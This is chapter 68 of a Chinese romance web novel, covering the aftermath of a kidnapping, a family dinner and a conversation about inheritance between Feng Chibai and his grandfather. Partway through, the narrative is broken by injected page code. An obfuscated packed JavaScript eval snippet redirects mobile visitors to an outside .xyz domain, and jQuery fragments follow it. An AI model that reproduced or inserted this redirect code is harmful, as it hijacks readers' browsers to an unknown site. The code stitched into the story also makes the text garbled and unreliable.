68. 六十八颗星

作品:《星空之吻[先婚后爱]

    外头一片安静,意识到那边的车停了,林唐错乱地起身要去查看外面的情况。


    刚下车没多久,于竟铭主动走了过来,同她说道:“人已经抓住了,需要你配合回警局做一下笔录。”


    林唐嗯了声,余光注意到凤池白也走了过来,便又说道:“可以允许我先陪他去处理下伤口吗?”


    于竟铭点了点头。


    等两人找了家就近的诊所包扎完伤口后,一块儿去了警局。


    绑架的两人那边该问的已经问得差不多了,警方简单对林唐提问了几个问题后,于竟铭过来告知她,试图对她进行绑架的那一伙人是从事黑色产业的,与M国素来有经济上的往来。上次与他们同乘一架飞机去到M国也是因为有新一轮的交易要做,只是没想到回来的途中遇了难,丧命的人里边正好有领头的儿子。一时间气不过,便选择无理由地将这场事故发生的缘由扣在林唐身上,所以特地要将林唐绑回去折磨来泄愤。


    其实哪怕他们清楚地知道这事与林唐无关,哪怕隐约能察觉到事故背后的隐情,他们照旧也会将矛头对准林唐。


    世界就是这样,心中有气,但不敢对那些有钱有权高自己一等的人撒气,所以就只能挑比自己弱小的人来报复。


    于竟铭同她说道:“放心,警方已经派人出动去抓捕预谋的主使了,没吓着你吧。”


    林唐垂下眸子,摇了摇头。


    于竟铭叹了口气,又道:“没什么其他的事了,早些回去休息吧。”


    回到家里。


    当身后传来关门声时,林唐也应声回过头,直直地与凤池白的视线交汇。


    她眼眸颤动,忍不住伸手去触碰他的伤口,但不敢用力,生怕他疼。


    蓦然,她靠近一步,抱住了他,肩膀在颤抖。


    凤池白愣了一瞬,垂下眸子去看她,掌心犹豫着覆上她的后背。知道她在心疼自己,于是轻声说道:“这是我自己的选择。”


    林唐哽咽地嗯了声:“我只是,想挨着你会儿。”


    凤池白下巴抵在她的头上,指尖揉进她的发缝里。他听见了她和于竟铭的对话,但此刻又有些不确定地问了句:“真没吓到?”


    林唐依旧摇头否认。


    凤池白很轻地笑了下:“我们岁岁,果然勇敢又坚强。”


    林唐闭了闭眼,没松开手。她笑了一声:“凤池白,你也不赖,胆子真大。”


    “是吗?”凤池白顿了下,“那看来,我们很合拍。”


    *


    警局的效率很快,不出一周就将这场绑架的主策划者捉拿归案,因为其下方还链接着一条黑色产业链,在调查清楚后,将牵涉到的所有人员一并抓捕。


    老爷子是在新闻公布后才得知的此事,顿时怒从心来,尤其是在得知林唐和凤池白都受了点伤后,下了血本要他们付出代价。


    研究所外。


    凤池白早已站在那里等待。


    因为这次的突发情况,研究所加强了安保系统,所有的侧门全部紧闭,仅留正门允许进出。同时将大门的门锁换成人脸识别,非研究所内的工作人员不予录入,非录入者无法进入里头。


    尽管如此,凤池白心里还是不放心,所以这些天他都会提前十几分钟到达研究所外,哪怕要等上好久。


    但好在,这段时间林唐过了下班时间并不会在办公室里逗留很久。


    车内。


    系好安全带后,凤池白忽然看向她说道:“笑一笑,免得被人说我欺负你了。”


    林唐勉为其难地挤出一个笑容,但仅有一刻。她靠着椅背,闭目养神道:“放心,要是有人这么说,我首当其冲为你辩解。”


    凤池白只是她情绪不高,所以想逗逗她:“是吗?我更害怕,你会首当其冲地添油加醋。”


    林唐缓慢睁开眼,侧眸抬了下眉:“我有这么坏吗?”


    凤池白笑道:“是我胡思乱想了。”


    车子是往老宅的方向驶去的,因为接连发生的意外,又多日没见到两人,老爷子说什么都要让他们回去吃顿饭,起码让他看一眼安个心。


    好在凤池白的伤口已经结了痂,纱布被拆掉,偏长的额发半盖下来很好地遮掩住了伤口的位置。


    尽管平时里内部你争我斗的,但这种时候还是会选择一致对外。毕竟当初网上就已经扒出林唐是凤池白的妻子,在这种情况下还敢明目张胆地实施绑架一事,那就是不给他们凤家面子。


    饭桌上,徐涧云假模假样地关心道:“也不知是哪个杀千刀的,连我们凤家的人都敢欺负,真是不要命了!”


    再怎么说,凤池白到底还是他凤军鸣的儿子,自己儿子受了伤,哪怕之前闹得再不愉快,此刻还是关心道:“确实该死。小池,伤得重不重?”


    凤池白礼貌颔首道:“放心,只是不小心磕到,不是被打的。”


    他们并不知道当日的具体情况,只知道他受了伤,还以为是和绑匪在搏斗的过程中被用凶器砸到的。


    老爷子看了两人一眼,叹了口气道:“平安无事就好,平安无事就好。”


    自始至终,林唐一直沉闷着气没吭声。


    他的伤毕竟是因为救她而得的,知道她心里过意不去,凤池白给她夹了块肉放进她碗里,轻声说:“别发呆,半夜饿了可吃不了宵夜。”


    老爷子也注意到了,语气放缓了下来:“小唐啊,你也不必过多自责,男人受点伤没事的。更何况,保护妻子是丈夫应尽的义务。”


    不想让他们担心,林唐艰难地扯出一抹笑道:“没自责,我只是在想工作上的事。”


    一顿饭平心气和地结束后,凤池白被老爷子叫到了书房。


    所有人都以为老爷子是要询问当天的情况,就连他也是这么认为的。只是关上门的瞬间,他突然听见一声:“还有不到半个月的时间,你希望爷爷怎么选?”


    转过身的瞬间,他目光笔直地停留在自己身上,还带着打探的意味。凤池白愣了一下,得体地回复道:“一切遵从爷爷的决定,我无权干涉。”


    “无权干涉?”老爷子突然笑了一下,但并不刺人,“自始至终,你也不一直在干涉吗?”


    试图用一些事来争取最后的结果。


    他现在年纪是大,但年轻时好歹也是一路杀过来的,什么大风大浪他没见过,一些小技俩他还是能够看破的。


    “有些事情,爷爷知道是假的。”他微笑着看向凤池白,却并不动怒。


    凤池白心上紧了一下,一瞬明白他所指何事。正要开口辩解,忽地又听见他带笑的一句:“其实你不用花那么多功夫,它也会属于你。谁让老太婆那么喜欢你呢,但似乎,这也才是正确的决定。”


    能担得起凤家重任的人,心思必须缜密而沉稳。凤泗如尽管能力过关,但毕竟跟在他身边久了,他清楚地知道他这个孙女是怎么样的人。


    他不希望看到凤家时刻陷入尔虞我诈的内斗之中,所以只能交给一个他最放得过心的人。


    俨然是没想到老爷子会说得那么直白,凤池白瞳孔微撑,一瞬说不出话来。平复片刻,他恍然明白了凤家那些规矩的由来。


    记忆虽然有些久远,但依稀记得,那是在凤军鸣出轨一事被发现后制定的。那时的凤军鸣与徐涧云相识于一个酒吧,在一个醉酒后的夜晚,两人在靡乱下发生了关系。


    再后来,也许是当时残存的兴奋感持续刺激着他,两人将错就错,以致后来一发不可收拾。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415470|178899||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老爷子是个重情感的人,凤军鸣又是他的儿子,自己的儿子做出这样的混账事来,他心里也觉得对不起白若彤。


    于是,老爷子开始规定大家今后不得在外头过夜,无重要场合不得私碰酒精,他必须确保所有人的行踪能在他的掌控中。至少,这样的事不会再发生。


    也算是,老爷子在无形中给他和他母亲的一个交代。


    尽管,这个交代来得有些迟了。


    他眼睫颤了颤,在知道胜券在握的情况下,却反而没有那么高兴。喉间的热息在滚动,他薄唇微张:“可是爷爷,我希望它变成真的。”


    在知道老爷子自始至终都清楚事情的真伪却没有从一开始就戳破的情况下,他忽然全都敢坦白了。


    老爷子笑了笑:“光希望可没用,你会怎么做?”


    凤池白不解地反问:“您认为,怎么做才是有用的?”


    “爷爷和你们隔了辈,年轻时的方法放到现在可不管用喽。”老爷子靠着椅背,一只手还撑在拐杖上,猝然又起身靠近了他些,提醒道:“但什么都不做,是最不管用的。”


    凤池白沉默了。过了好半晌,才低声回复道:“我明白了。”


    退出书房时,曾经心里头最挂念的事情已然有了结果。但也就意味着,另一件事开始迫近他了。


    拿到继承人的名额,他分明是该开心的。可是现在,他忽然没那么希望了。


    回到房间里,林唐正坐在沙发上看书。


    听到开门的动静,她下意识看过去。见是凤池白进来,她放下书,主动走近他问道:“爷爷和你说什么了?”


    她担心老爷子怪他做事太过冲动,担心他会训斥他一番。


    但凤池白只是说:“简单那聊了点工作上的事。”


    林唐若有所思地哦了声,拉着他的手让他在沙发上坐下。


    虽然他的伤口已经结痂,但药水还得继续抹,以免日后留疤。


    她取出一根棉签,沾上药水,撩开他的额发,力道很轻。就连说话的声音也很轻:“弄疼你了你记得说一声。”


    话音刚落,就立马听见凤池白嘶了一声。


    林唐疑惑地皱眉:“不应该吧,我都没用力。”


    凤池白弯了弯唇:“嗯,开个玩笑。”


    林唐咬了咬牙,但手上依旧没使劲儿,只是有些不满地嘟囔道:“要不是看在你是因为…受伤的份上,我可就真使劲儿了。”


    凤池白抬起眼,迎上她的视线,扯着嘴角说:“岁岁真狠心。”


    他就那么直勾勾地盯着她,眸光还带着点落寞的意味,看着让人莫名内疚,仿佛自己真对他做了什么伤天害理的事情。一下让林唐有些慌乱,迟疑地说道:“我就开个玩笑,没真要使劲儿。”


    她努力避开他的视线,心不在焉地给他上完药后,将东西装进药箱里头,打算放回原位。


    只是在身子刚偏过去的刹那,手腕忽然被人拉住,她顺着那股力往他的方向靠近了一步。下一秒,一道不轻不重的力抵在了她的腹间,房间内响起一句:“先放着,我就靠一会儿。”


    又或许是觉得自己这突如其来的举动太不合时宜,于是又补上一句:“前些天被你占了便宜,我得讨回来。”


    “讨?”林唐像是听到什么好笑的话,音调不受控地拔高了些,“你们资本家还真是一点亏也不吃啊。”


    “不对,你对赵英寻就那么大方,对我就这么吝啬啊。”想起先前他给赵英寻的项目随便一砸就是几百万投资,她又立马反驳自己的话。


    凤池白并未觉得自己这话有什么不妥,他轻轻笑道:“对症投资,对本收取。”


    林唐垂眸看着他的后脑勺,温声道:“算了,扯不过你。”